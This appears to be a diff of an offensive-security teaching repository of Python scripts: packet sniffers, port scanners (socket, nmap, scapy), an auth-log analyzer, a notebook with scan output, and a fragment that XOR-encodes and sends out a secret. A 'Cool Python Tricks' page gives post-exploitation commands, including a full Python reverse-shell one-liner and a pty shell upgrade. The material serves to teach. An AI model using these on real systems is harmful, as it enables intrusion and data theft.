xor = lambda x: ''.join([ chr(ord(c)^0x17) for c in x])
i=0
for b in range(0, len(secret), 2):
sendpkt(xor(secret[b:b+2]))
```

View file

@ -0,0 +1,24 @@
#!/usr/bin/python
from __future__ import print_function
import socket
s=socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
while True:
data=s.recvfrom(65535)
try:
if "HTTP" in data[0][54:]:
print("[","="*30,']')
raw=data[0][54:]
if "\r\n\r\n" in raw:
line=raw.split('\r\n\r\n')[0]
print("[*] Header Captured ")
print(line[line.find('HTTP'):])
else:
print(raw)
else:
#print '[{}]'.format(data)
pass
except:
pass

View file

@ -0,0 +1,158 @@
import gzip
import re
#
# ParseLogs.py
# Parsing component of Logalyzer. Original: https://github.com/hatRiot/logalyzer
# Converted to python3.6 by @programmerchad
#
# log object
# Stuck into a dictionary by user:Log, where log houses
# logs, fails, successes, logged IPs, and commands used
class Log:
# dump date of first log
def first_date(self):
if len(self.logs) > 0:
date = None
i = 0
# sometimes the first few aren't right, so look
# until we find one
while i < len(self.logs) and date is None:
date = ParseDate(self.logs[i])
i += 1
return date
# dump date of last log
def last_date(self):
if len(self.logs) > 0:
return ParseDate(self.logs[len(self.logs) - 1])
def __init__(self, usr):
self.usr = usr
self.logs = []
self.fail_logs = []
self.succ_logs = []
self.ips = []
self.commands = []
# parse user from various lines
def ParseUsr(line):
usr = None
if "Accepted password" in line:
usr = re.search(r'(\bfor\s)(\w+)', line)
elif "sudo:" in line:
usr = re.search(r'(sudo:\s+)(\w+)', line)
elif "authentication failure" in line:
usr = re.search(r'USER=\w+', line)
elif "for invalid user" in line:
usr = re.search(r'(\buser\s)(\w+)', line)
if usr is not None:
return usr.group(2)
# parse an IP from a line
def ParseIP(line):
ip = re.search(r'(\bfrom\s)(\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b)', line)
if ip is not None:
return ip.group(2)
# parse a date from the line
def ParseDate(line):
date = re.search(r'^[A-Za-z]{3}\s*[0-9]{1,2}\s[0-9]{1,2}:[0-9]{2}:[0-9]{2}', line)
if date is not None:
return date.group(0)
# parse a command from a line
def ParseCmd(line):
# parse command to end of line
cmd = re.search(r'(\bCOMMAND=)(.+?$)', line)
if cmd is not None:
return cmd.group(2)
# begin parsing the passed LOG
def ParseLogs(log):
# initialize the dictionary
logs = {}
# parse the log
f = None
try:
f = gzip.open(log, 'r') if '.gz' in log else open(log, 'r')
log = f.read()
except Exception as e:
print('[-] Error opening \'%s\': %s' % (log, e))
return None
finally:
if f is not None:
f.close()
for line in log.split('\n'):
# match a login
if "Accepted password for" in line:
usr = ParseUsr(line)
# add 'em if they don't exist
if usr not in logs:
logs[usr] = Log(usr)
ip = ParseIP(line)
# set info
if ip not in logs[usr].ips:
logs[usr].ips.append(ip)
logs[usr].succ_logs.append(line.rstrip('\n'))
logs[usr].logs.append(line.rstrip('\n'))
# match a failed login
elif "Failed password for" in line:
# parse user
usr = ParseUsr(line)
if usr not in logs:
logs[usr] = Log(usr)
ip = ParseIP(line)
if ip not in logs[usr].ips:
logs[usr].ips.append(ip)
logs[usr].fail_logs.append(line.rstrip('\n'))
logs[usr].logs.append(line.rstrip('\n'))
# match failed auth
elif ":auth): authentication failure;" in line:
# so there are three flavors of authfail we care about;
# su, sudo, and ssh. Lets parse each.
usr = re.search(r'(\blogname=)(\w+)', line)
if usr is not None:
usr = usr.group(2)
# parse a fail log to ssh
if "(sshd:auth)" in line:
# ssh doesn't have a logname hurr
usr = ParseUsr(line)
if usr not in logs:
logs[usr] = Log(usr)
logs[usr].ips.append(ParseIP(line))
# parse sudo/su fails
else:
if usr not in logs:
logs[usr] = Log(usr)
logs[usr].fail_logs.append(line.rstrip('\n'))
logs[usr].logs.append(line.rstrip('\n'))
# match commands
elif "sudo:" in line:
# parse user
usr = ParseUsr(line)
if usr not in logs:
logs[usr] = Log(usr)
cmd = ParseCmd(line)
# append the command if it isn't there already
if cmd is not None:
if cmd not in logs[usr].commands:
logs[usr].commands.append(cmd)
logs[usr].logs.append(line.rstrip('\n'))
return logs

View file

@ -0,0 +1,139 @@
import os
import sys
from optparse import OptionParser
import ParseLogs
#
# Logalyzer. Original: https://github.com/hatRiot/logalyzer
# Converted to python3.6 by @programmerchad
#
# callback for the user flag
def user_call(option, opt_str, value, parser):
if len(parser.rargs) != 0:
value = parser.rargs[0]
else:
value = None
setattr(parser.values, option.dest, value)
if __name__ == "__main__":
# default location
log = '/var/log/auth.log'
# parsing options
parser = OptionParser(epilog=
"Combine flags to view user-specific information. \'-u test -i\' lists IP addresses "
"associated with user test")
parser.add_option("-u", help="Specify user. Blank lists all users.", action="callback",
callback=user_call, default=None, dest="user")
parser.add_option("--full", help="Full log dump for specified user", action="store_true",
default=False, dest="fullu")
parser.add_option("-l", help="Specify log file. Default is auth.log", default=None, dest="log")
parser.add_option("-f", help="List failures", action="store_true", default=False, dest="fail")
parser.add_option("-s", help="List success logs", action="store_true", default=False, dest="success")
parser.add_option("-c", help="List commands by user", action="store_true", default=False, dest="commands")
parser.add_option("-i", help="List IP Addresses", action="store_true", default=False, dest="ip")
# get arguments
(options, args) = parser.parse_args()
# if they're trying to access /var/log/auth.log without proper privs, bail
if not os.getuid() == 0 and options.log is None:
print("[-] Please run with SUDO")
sys.exit(1)
# check if they specified another file
if options.log is not None:
log = options.log
# parse logs
LOGS = ParseLogs.ParseLogs(log)
if LOGS is None: sys.exit(1)
# validate the user
if options.user:
if not options.user in LOGS:
print(f"[-] User \'{options.user}\' is not present in the logs.")
sys.exit(1)
# tag log location first
print('[!] Log file: ', log)
# output all commands
if options.commands and not options.user:
for i in LOGS:
for comms in LOGS[i].commands:
print(f"{i}:\t{comms}")
sys.exit(1)
# output all failures
elif options.fail and not options.user:
for i in LOGS:
for fail in LOGS[i].fail_logs:
print(f"{i}:\t{fail}")
sys.exit(1)
# output all logged IP addresses
elif options.ip and not options.user:
for i in LOGS:
for ip in LOGS[i].ips:
print(f"{i}:\t{ip}")
sys.exit(1)
# output user-specific commands
if options.commands and options.user:
print(f"[+] Commands for user \'{options.user}\'")
for com in LOGS[options.user].commands:
print("\t", com)
# output user-specific success logs
elif options.success and options.user:
print(f"[+] Successes logs for user \'{options.user}\'")
for log in LOGS[options.user].succ_logs:
print("\t", log)
# output user-specific failures
elif options.fail and options.user:
print(f"[+] Failures for user \'{options.user}\'")
for fail in LOGS[options.user].fail_logs:
print("\t", fail)
# output user-specific ip addresses
elif options.ip and options.user:
print(f"[+] Logged IPs for user \'{options.user}\'")
for i in LOGS[options.user].ips:
print("\t", i)
# print out all information regarding specified user
elif options.user is not None:
print(f"[!] Logs associated with user \'{options.user}\'")
print('[+] First log: ', LOGS[options.user].first_date())
print('[+] Last log: ', LOGS[options.user].last_date())
print("[!] Failure Logs")
for fail in LOGS[options.user].fail_logs:
print("\t", fail)
print("[!] Success Logs")
for succ in LOGS[options.user].succ_logs:
print("\t", succ)
print("[!] Associated IPs")
for ip in LOGS[options.user].ips:
print("\t", ip)
print("[!] Commands")
for comm in LOGS[options.user].commands:
print("\t", comm)
# dump the full log for the user if specified
if options.fullu and options.user:
print("[!] Full Log")
for log in LOGS[options.user].logs:
print(log)
# if they supplied us with an empty user, dump all of the logged users
elif options.user is None:
if len(LOGS) > 0:
for i in LOGS:
print(i)

View file

@ -0,0 +1,15 @@
#!/usr/bin/python
# Author: Omar Santos @santosomar
# version 1.0
# This is a quick demonstration on how to use the python pyshark library
# * Pre-requisite: pyshark python library.
# * Install it with pip install pyshark
# PyShark is a Python wrapper for tshark,
# allowing python packet parsing using wireshark dissectors.
#####################################################################
import pyshark
capture = pyshark.LiveCapture(interface='eth0')
for packet in capture.sniff_continuously(packet_count=5):
print ('You just captured a packet:', packet)

View file

@ -0,0 +1,56 @@
# Cool Python Tricks
## Starting a quick web server to serve some files (useful for post exploitation)
### In Python 2.x
```
python -m SimpleHTTPServer 1337
```
### In Python 3.x
```
python3 -m http.server 1337
```
----
## Pythonic Web Client
### In Python 2.x
```
python -c 'import urllib2; print urllib2.urlopen("http://h4cker.org/web").read()' | tee /tmp/file.html
```
### In Python 3.x
```
python3 -c 'import urllib.request; urllib.request.urlretrieve ("http://h4cker.org/web","/tmp/h4cker.html")'
```
----
## Python Debugger
This imports a Python file and runs the debugger automatically. This is useful for debugging Python-based malware and for post-exploitation.
```
python -m pdb <some_python_file>
```
Refer to this [Python Debugger cheatsheet](https://kapeli.com/cheat_sheets/Python_Debugger.docset/Contents/Resources/Documents/index) if you are not familiar with the Python Debugger.
----
## Shell to Terminal
This is useful after exploitation and getting a shell. It allows you to use Linux commands that require a terminal session (e.g., su, sudo, vi, etc.)
```
python -c 'import pty; pty.spawn("/bin/bash")'
```
----
## Using Python to do a Reverse Shell
You put your IP address (instead of 192.168.78.205) and the port (instead of 13337) below:
```
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.78.205",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
```

View file

@ -0,0 +1,32 @@
#!/usr/bin/python
# Author: Omar Santos @santosomar
# version 1.0
# This is a quick demonstration on how to use the python nmap library
# * Pre-requisite: nmap python library.
# * Install it with pip install python-nmap
#####################################################################
import sys
try:
import nmap
except:
sys.exit("[!] It looks like the nmap library is not installed in your system. You can install it with: pip install python-nmap")
# The arguments to be processed
if len(sys.argv) != 3:
sys.exit("Please provide two arguments the first being the targets the second the ports")
addr = str(sys.argv[1])
port = str(sys.argv[2])
# the scanner part
my_scanner = nmap.PortScanner()
my_scanner.scan(addr, port)
for host in my_scanner.all_hosts():
if not my_scanner[host].hostname():
print("Not able to find the hostname for IP address %s") % (host)
else:
print("The hostname for IP address %s is %s") % (host, my_scanner[host].hostname())
#this prints the results of the scan in a csv file.
print(my_scanner.csv())

View file

@ -0,0 +1,252 @@
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Omar's Python-nmap Examples\n",
"python-nmap is a python library which helps in using nmap port scanner and create your own tools. It allows to easily manipulate nmap scan results and is great if you want to automate scanning tasks and reports. It also supports nmap script outputs.\n",
"Install python-nmap using `pip` or `pip3` (`pip3` is recommended, since you should be using Python3 instead of Python2 😁), as shown below:\n",
"```\n",
" pip3 install python-nmap\n",
"Collecting python-nmap\n",
" Downloading python-nmap-0.6.1.tar.gz (41 kB)\n",
" |████████████████████████████████| 41 kB 2.1 MB/s\n",
"Building wheels for collected packages: python-nmap\n",
" Building wheel for python-nmap (setup.py) ... done\n",
" Created wheel for python-nmap: filename=python_nmap-0.6.1-py3-none-any.whl size=19325 sha256=68d8319be838af5829a61754c289de9156c8035955900d084601fa8623e36fc0\n",
" Stored in directory: /Users/omar/Library/Caches/pip/wheels/e8/19/6a/555b2642846c6665ebe3ee8c788115cd8a68398adfe3c55708\n",
"Successfully built python-nmap\n",
"Installing collected packages: python-nmap\n",
"Successfully installed python-nmap-0.6.1\n",
"```"
]
},
{
"cell_type": "code",
"execution_count": 1,
"metadata": {},
"outputs": [],
"source": [
"# importing the nmap module\n",
"import nmap"
]
},
{
"cell_type": "code",
"execution_count": 3,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"{'nmap': {'command_line': 'nmap -oX - -sV 192.168.78.7',\n",
" 'scaninfo': {'tcp': {'method': 'syn',\n",
" 'services': '1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389'}},\n",
" 'scanstats': {'timestr': 'Sun Dec 13 20:14:55 2020',\n",
" 'elapsed': '11.49',\n",
" 'uphosts': '1',\n",
" 'downhosts': '0',\n",
" 'totalhosts': '1'}},\n",
" 'scan': {'192.168.78.7': {'hostnames': [{'name': '', 'type': ''}],\n",
" 'addresses': {'ipv4': '192.168.78.7'},\n",
" 'vendor': {},\n",
" 'status': {'state': 'up', 'reason': 'reset'},\n",
" 'tcp': {22: {'state': 'open',\n",
" 'reason': 'syn-ack',\n",
" 'name': 'ssh',\n",
" 'product': 'OpenSSH',\n",
" 'version': '7.9p1 Debian 10+deb10u2',\n",
" 'extrainfo': 'protocol 2.0',\n",
" 'conf': '10',\n",
" 'cpe': 'cpe:/o:linux:linux_kernel'},\n",
" 111: {'state': 'open',\n",
" 'reason': 'syn-ack',\n",
" 'name': 'rpcbind',\n",
" 'product': '',\n",
" 'version': '2-4',\n",
" 'extrainfo': 'RPC #100000',\n",
" 'conf': '10',\n",
" 'cpe': ''},\n",
" 139: {'state': 'open',\n",
" 'reason': 'syn-ack',\n",
" 'name': 'netbios-ssn',\n",
" 'product': 'Samba smbd',\n",
" 'version': '3.X - 4.X',\n",
" 'extrainfo': 'workgroup: WORKGROUP',\n",
" 'conf': '10',\n",
" 'cpe': 'cpe:/a:samba:samba'},\n",
" 445: {'state': 'open',\n",
" 'reason': 'syn-ack',\n",
" 'name': 'netbios-ssn',\n",
" 'product': 'Samba smbd',\n",
" 'version': '3.X - 4.X',\n",
" 'extrainfo': 'workgroup: WORKGROUP',\n",
" 'conf': '10',\n",
" 'cpe': 'cpe:/a:samba:samba'},\n",
" 2049: {'state': 'open',\n",
" 'reason': 'syn-ack',\n",
" 'name': 'nfs_acl',\n",
" 'product': '',\n",
" 'version': '3',\n",
" 'extrainfo': 'RPC #100227',\n",
" 'conf': '10',\n",
" 'cpe': ''},\n",
" 3128: {'state': 'open',\n",
" 'reason': 'syn-ack',\n",
" 'name': 'http',\n",
" 'product': 'Proxmox Virtual Environment REST API',\n",
" 'version': '3.0',\n",
" 'extrainfo': '',\n",
" 'conf': '10',\n",
" 'cpe': 'cpe:/a:proxmox:proxmox_virtual_environment:3.0'}}}}}"
]
},
"execution_count": 3,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"# adding the port scanner function as nm.\n",
"nm = nmap.PortScanner()\n",
"\n",
"# performing a TCP SYN scan against a host with the IP address 192.168.78.7.\n",
"nm.scan('192.168.78.7')"
]
},
{
"cell_type": "code",
"execution_count": 4,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"<bound method PortScannerHostDict.state of {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.78.7'}, 'vendor': {}, 'status': {'state': 'up', 'reason': 'reset'}, 'tcp': {22: {'state': 'open', 'reason': 'syn-ack', 'name': 'ssh', 'product': 'OpenSSH', 'version': '7.9p1 Debian 10+deb10u2', 'extrainfo': 'protocol 2.0', 'conf': '10', 'cpe': 'cpe:/o:linux:linux_kernel'}, 111: {'state': 'open', 'reason': 'syn-ack', 'name': 'rpcbind', 'product': '', 'version': '2-4', 'extrainfo': 'RPC #100000', 'conf': '10', 'cpe': ''}, 139: {'state': 'open', 'reason': 'syn-ack', 'name': 'netbios-ssn', 'product': 'Samba smbd', 'version': '3.X - 4.X', 'extrainfo': 'workgroup: WORKGROUP', 'conf': '10', 'cpe': 'cpe:/a:samba:samba'}, 445: {'state': 'open', 'reason': 'syn-ack', 'name': 'netbios-ssn', 'product': 'Samba smbd', 'version': '3.X - 4.X', 'extrainfo': 'workgroup: WORKGROUP', 'conf': '10', 'cpe': 'cpe:/a:samba:samba'}, 2049: {'state': 'open', 'reason': 'syn-ack', 'name': 'nfs_acl', 'product': '', 'version': '3', 'extrainfo': 'RPC #100227', 'conf': '10', 'cpe': ''}, 3128: {'state': 'open', 'reason': 'syn-ack', 'name': 'http', 'product': 'Proxmox Virtual Environment REST API', 'version': '3.0', 'extrainfo': '', 'conf': '10', 'cpe': 'cpe:/a:proxmox:proxmox_virtual_environment:3.0'}}}>"
]
},
"execution_count": 4,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"# Obtaining the state information about the scanned host.\n",
"nm['192.168.78.7'].state"
]
},
{
"cell_type": "code",
"execution_count": 5,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"'nmap -oX - -sV 192.168.78.7'"
]
},
"execution_count": 5,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"# you can also view the command line arguments for the previous command with:\n",
"nm.command_line()"
]
},
{
"cell_type": "code",
"execution_count": 6,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"{'tcp': {'method': 'syn',\n",
" 'services': '1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389'}}"
]
},
"execution_count": 6,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"# displaying the scan information\n",
"nm.scaninfo()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# A Script Example\n",
"```\n",
"#!/usr/bin/python\n",
"# Author: Omar Santos @santosomar\n",
"# version 1.0\n",
"# This is a quick demonstration on how to use the python nmap library\n",
"# * Pre-requisite: nmap python library.\n",
"# * Install it with pip3 install python-nmap\n",
"#####################################################################\n",
"\n",
"import sys\n",
"try:\n",
" import nmap\n",
"except:\n",
" sys.exit(\"[!] It looks like the nmap library is not installed in your system. You can install it with: pip3 install python-nmap\")\n",
"\n",
"# The arguments to be processed\n",
"if len(sys.argv) != 3:\n",
" sys.exit(\"Please provide two arguments the first being the targets the second the ports\")\n",
"addr = str(sys.argv[1])\n",
"port = str(sys.argv[2])\n",
"\n",
"# the scanner part\n",
"\n",
"my_scanner = nmap.PortScanner()\n",
"my_scanner.scan(addr, port)\n",
"for host in my_scanner.all_hosts():\n",
" if not my_scanner[host].hostname():\n",
" print(\"Not able to find the hostname for IP address %s\") % (host)\n",
" else:\n",
" print(\"The hostname for IP address %s is %s\") % (host, my_scanner[host].hostname())\n",
"\n",
"#this prints the results of the scan in a csv file.\n",
"print(my_scanner.csv())\n",
"```"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.8.6"
}
},
"nbformat": 4,
"nbformat_minor": 4
}

View file

@ -0,0 +1,18 @@
#!/usr/bin/python
# Author: Omar Santos @santosomar
# version 1.0
# This is a quick demonstration on how to create a
# snifffer (packet capture script) using python.
#####################################################################
from __future__ import print_function
import socket
#create an INET, raw socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
# receive a packet
while True:
# print output on terminal
print(s.recvfrom(65565))

View file

@ -0,0 +1,55 @@
#!/usr/bin/python
# Author: Omar Santos @santosomar
# version 1.0
# This is a quick demonstration on how to create a
# basic TCP port scanner using python.
#####################################################################
from __future__ import print_function
import socket, subprocess, sys
try:
raw_input # Python 2
except NameError:
raw_input = input # Python 3
subprocess.call('clear', shell=True)
print('''\t
#####################
OMAR'S QUICK SCANNER
#####################
''')
target_ip = raw_input("\t Please enter the IP address of the target host:").strip()
port_1 = int(raw_input("\t Enter the first port to scan:\t").strip())
port_2 = int(raw_input("\t Enter the last port to scan:\t").strip())
print("~"*50)
print("\n ...scanning target now. ", target_ip)
print("~"*50)
try:
for port in range(port_1, port_2):
sock= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
result = sock.connect_ex((target_ip, port))
if result==0:
print("Found open port:\t", port)
sock.close()
except KeyboardInterrupt:
print("[!] Scan stopped by user... ")
sys.exit()
except socket.gaierror:
print("[!] The target's hostname could not be resolved...")
sys.exit()
except socket.error:
print("[!] Target is unreachable...")
sys.exit()
print("The scan is complete. Happy hacking!")

View file

@ -0,0 +1,232 @@
#!/usr/bin/python
"""
Author: Omar Santos @santosomar
version 1.0
This is a quick demonstration on how to use the scapy as a scanner
* Pre-requisite: scapy, prettytable, argparse
"""
from __future__ import print_function
import sys
import prettytable
import argparse
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #This is supress scapy warnings
from scapy.all import *
#conf.iface='eth0' # network interface to use
conf.verb=0 # enable verbose mode - Is this actually working?
conf.nofilter=1
def tcp_connect_scan(dst_ip,dst_port,dst_timeout):
src_port = RandShort()
tcp_connect_scan_resp = sr1(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=dst_timeout)
if(str(type(tcp_connect_scan_resp))=="<type 'NoneType'>"):
return "Closed"
elif(tcp_connect_scan_resp.haslayer(TCP)):
if(tcp_connect_scan_resp.getlayer(TCP).flags == 0x12):
send_rst = sr(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="AR"),timeout=dst_timeout)
return "Open"
elif (tcp_connect_scan_resp.getlayer(TCP).flags == 0x14):
return "Closed"
else:
return "CHECK"
def stealth_scan(dst_ip,dst_port,dst_timeout):
src_port = RandShort()
stealth_scan_resp = sr1(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=dst_timeout)
if(str(type(stealth_scan_resp))=="<type 'NoneType'>"):
return "Filtered"
elif(stealth_scan_resp.haslayer(TCP)):
if(stealth_scan_resp.getlayer(TCP).flags == 0x12):
send_rst = sr(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="R"),timeout=dst_timeout)
return "Open"
elif (stealth_scan_resp.getlayer(TCP).flags == 0x14):
return "Closed"
elif(stealth_scan_resp.haslayer(ICMP)):
